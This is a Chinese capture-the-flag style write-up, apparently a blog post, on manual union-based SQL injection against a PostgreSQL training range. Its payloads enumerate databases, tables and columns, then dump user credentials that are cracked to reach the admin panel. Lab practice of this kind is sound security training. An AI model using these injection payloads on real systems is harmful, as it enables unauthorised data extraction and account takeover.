PostGREsql靶场(手工注入)攻略

postgresql简称PG,是⼀种特性非常齐全的自由软件的对象-关系型数据库管理系统。

默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres

靶场地址:SQL手工注入漏洞测试(PostgreSQL数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养

第一步:判断注入
id=1 and 1=1

回显正常

id=1 and 1=2

回显为空,报错 可知数字类型为整数型注入

第二步:判断字段数
id=1 order by 4

回显正常

id=1 order by 5

页面不正常,可知字段数为4

第三步:判断回显点

检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造

id=1 and 1=2 union select 'null',null,null,null //⽆回显
id=1 and 1=2 union select null,'null',null,null //有回显
id=1 and 1=2 union select null,null,'null',null //有回显
id=1 and 1=2 union select null,null,null,'null' //⽆回显

通过测试发现只有第二第三个字段是前端回显数据字段

第四步:查询数据库库名
基础知识:

current_database() //当前数据库

current_user //当前⽤户

version() //版本信息

获取数据库名称:
id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database

其中string_agg(datname,',')是将查询到的数据库名用“,”拼接起来,pg_database存储了所有的数据库名

第五步:查询数据库表名
id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'

id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables where schemaname='public'
id=1 and 1=2 union select null,null,string_agg(table_name,','),null from information_schema.tables where table_schema='public'

注:其中pg_tables,pg_stat_user_tables,information_schema.tables存储了所有的表名,

public是⼀种模式,Postgresql 查表的限制都是public

第六步:查询数据库列名

第二个表名有user,先查询它

id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

information_schema.columns为⼀个存放了所有表字段的⼀张表

第七步:查询数据库字段值
id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

第八步:cmd5解密

地址:md5在线解密破解,md5解密加密

第九步:登录后台

KEY: mozhe3cdd78bedaddb532324c3236ff0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值